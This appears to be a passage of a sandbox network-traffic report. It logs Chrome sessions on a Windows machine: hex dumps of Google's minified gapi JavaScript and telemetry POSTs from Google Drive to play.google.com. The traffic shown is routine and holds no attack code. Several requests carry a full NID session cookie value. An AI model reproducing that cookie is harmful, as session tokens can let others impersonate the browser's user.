2024-12-21 07:41:23 UTC	475	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 5d 29 3b 0a 76 61 72 20 63 61 2c 64 61 2c 68 61 2c 6d 61 2c 78 61 2c 41 61 2c 42 61 3b 63 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 6e 20 63 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 61 22 29 3b 7d 3b 5f Data Ascii: lue;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 71 61 3b 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 71 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 72 61 3b 61 3a 7b 76 61 72 20 73 61 3d 7b 61 3a 21 30 7d 2c 77 61 3d 7b 7d 3b 74 72 79 7b 77 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 73 61 3b 72 61 3d 77 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 72 61 3d 21 31 7d 71 61 3d 72 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 3b 69 66 28 61 Data Ascii: unction(a){var b=function(){};b.prototype=a;return new b},qa;if(typeof Object.setPrototypeOf=="function")qa=Object.setPrototypeOf;else{var ra;a:{var sa={a:!0},wa={};try{wa.__proto__=sa;ra=wa.a;break a}catch(a){}ra=!1}qa=ra?function(a,b){a.__proto__=b;if(a
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 66 6f 72 28 3b 74 68 69 73 2e 46 66 26 26 74 68 69 73 2e 46 66 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 68 3d 74 68 69 73 2e 46 66 3b 74 68 69 73 2e 46 66 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6b 3d 30 3b 6b 3c 68 2e 6c 65 6e 67 74 68 3b 2b 2b 6b 29 7b 76 61 72 20 6c 3d 68 5b 6b 5d 3b 68 5b 6b 5d 3d 6e 75 6c 6c 3b 74 72 79 7b 6c 28 29 7d 63 61 74 63 68 28 6d 29 7b 74 68 69 73 2e 6d 71 28 6d 29 7d 7d 7d 74 68 69 73 2e 46 66 3d 6e 75 6c 6c 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 71 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 7a 50 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 68 3b 0a 7d 29 7d 3b 76 61 72 20 65 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 45 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 Data Ascii: for(;this.Ff&&this.Ff.length;){var h=this.Ff;this.Ff=[];for(var k=0;k<h.length;++k){var l=h[k];h[k]=null;try{l()}catch(m){this.mq(m)}}}this.Ff=null};b.prototype.mq=function(h){this.zP(function(){throw h;})};var e=function(h){this.Ea=0;this.wf=void 0;this
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 74 79 70 65 6f 66 20 6b 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 68 3d 6e 65 77 20 6b 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 7d 29 3a 28 68 3d 5f 2e 6c 61 2e 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 43 75 73 74 6f 6d 45 76 65 6e 74 22 29 2c 68 2e 69 6e 69 74 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 75 6e 68 61 6e 64 6c 65 64 72 65 6a 65 63 74 69 6f 6e 22 2c 21 31 2c 21 30 2c 68 29 29 3b 68 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 Data Ascii: ("unhandledrejection",{cancelable:!0}):typeof k==="function"?h=new k("unhandledrejection",{cancelable:!0}):(h=_.la.document.createEvent("CustomEvent"),h.initCustomEvent("unhandledrejection",!1,!0,h));h.promise=this;h.reason=this.wf;return l(h)};e.prototyp
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 6f 6e 65 29 7d 29 7d 3b 72 65 74 75 72 6e 20 65 7d 29 3b 76 61 72 20 43 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 54 68 65 20 27 74 68 69 73 27 20 76 61 6c 75 65 20 66 6f 72 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 6e 75 6c 6c 20 6f 72 20 75 6e 64 65 66 69 6e 65 64 22 29 3b 69 66 28 62 20 69 6e 73 74 61 6e 63 65 6f 66 20 52 65 67 45 78 70 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 Data Ascii: one)})};return e});var Ca=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regula
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 68 69 64 64 65 6e 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 65 28 22 66 72 65 65 7a 65 22 29 3b 65 28 22 70 72 65 76 65 6e 74 45 78 74 65 6e 73 69 6f 6e 73 22 29 3b 65 28 22 73 65 61 6c 22 29 3b 76 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 46 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 79 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 Data Ascii: hidden_"+Math.random();e("freeze");e("preventExtensions");e("seal");var h=0,k=function(l){this.Fa=(h+=Math.random()+1).toString();if(l){l=_.ya(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Er
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 68 69 73 5b 31 5d 2e 53 6b 3d 6d 2e 5a 65 2c 74 68 69 73 2e 73 69 7a 65 2b 2b 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 53 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 53 6b 3d 0a 6b 2e 5a 65 2e 53 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 Data Ascii: his[1].Sk=m.Ze,this.size++);return this};c.prototype.delete=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Sk.next=k.Ze.next,k.Ze.next.Sk=k.Ze.Sk,k.Ze.head=null,this.size--,!0):!1};c.prototy
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 74 69 6f 6e 28 29 7b 69 66 28 21 61 7c 7c 74 79 70 65 6f 66 20 61 21 3d 22 66 75 6e 63 74 69 6f 6e 22 7c 7c 21 61 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 79 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 Data Ascii: tion(){if(!a\|\|typeof a!="function"\|\|!a.prototype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ya([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.ne
2024-12-21 07:41:23 UTC	1390	IN	Data Raw: 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 74 72 69 65 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 5b 62 2c 63 5d 7d 29 7d 7d 29 3b 0a 6d 61 28 22 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 6b 65 79 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 46 61 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 7d 29 7d 7d 29 3b 6d 61 28 22 67 6c 6f 62 61 6c 54 68 69 73 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 5f 2e 6c 61 7d 29 3b 6d 61 28 22 53 74 Data Ascii: ay.prototype.entries",function(a){return a?a:function(){return Fa(this,function(b,c){return[b,c]})}});ma("Array.prototype.keys",function(a){return a?a:function(){return Fa(this,function(b){return b})}});ma("globalThis",function(a){return a\|\|_.la});ma("St

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49874	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:28 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 6042 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:28 UTC	6042	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 38 39 2c 5b 5b 22 31 37 33 34 37 36 36 38 38 36 32 31 32 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],189,[["1734766886212",null,null,null,
2024-12-21 07:41:29 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:29 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:29 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49903	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:37 UTC	573	OUT	OPTIONS /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive Accept: / Access-Control-Request-Method: POST Access-Control-Request-Headers: content-encoding,content-type,x-goog-authuser Origin: https://drive.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: same-site Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-21 07:41:38 UTC	547	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web,authorization,content-encoding,content-type,x-goog-authuser,origin Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:37 GMT Server: Playlog Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49905	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:38 UTC	981	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1013 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:38 UTC	1013	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 31 32 35 30 2c 5b 5b 22 31 37 33 34 37 36 36 38 38 36 32 35 30 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],1250,[["1734766886250",null,null,null
2024-12-21 07:41:39 UTC	496	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://drive.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Content-Type: text/plain; charset=UTF-8 Date: Sat, 21 Dec 2024 07:41:39 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-21 07:41:39 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-12-21 07:41:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49906	142.250.181.110	443	7696	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-21 07:41:38 UTC	980	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 620 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://drive.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://drive.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=T89Ez7g49nq292RzdL9BrKJyoaB_3Mww85nSBIwoCVPTE0eu1dYTzziRVOFJhVntPGYEMAlAk_98c-QW3nEMJ232DlehwaDdhdfCTmj4iTAt1yFgx15f3VfraNA2yTHMI-FPE6a9Y86oLpzbbHmrm0_geBJLENC9Ac0MyIk-H0wgS-pkeyYuiXMRMCPeVKc
2024-12-21 07:41:38 UTC	620	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 34 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 35 37 34 2c 5b 5b 22 31 37 33 34 37 36 36 38 38 36 32 35 31 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[4,0,0,0,0]]],574,[["1734766886251",null,null,null,
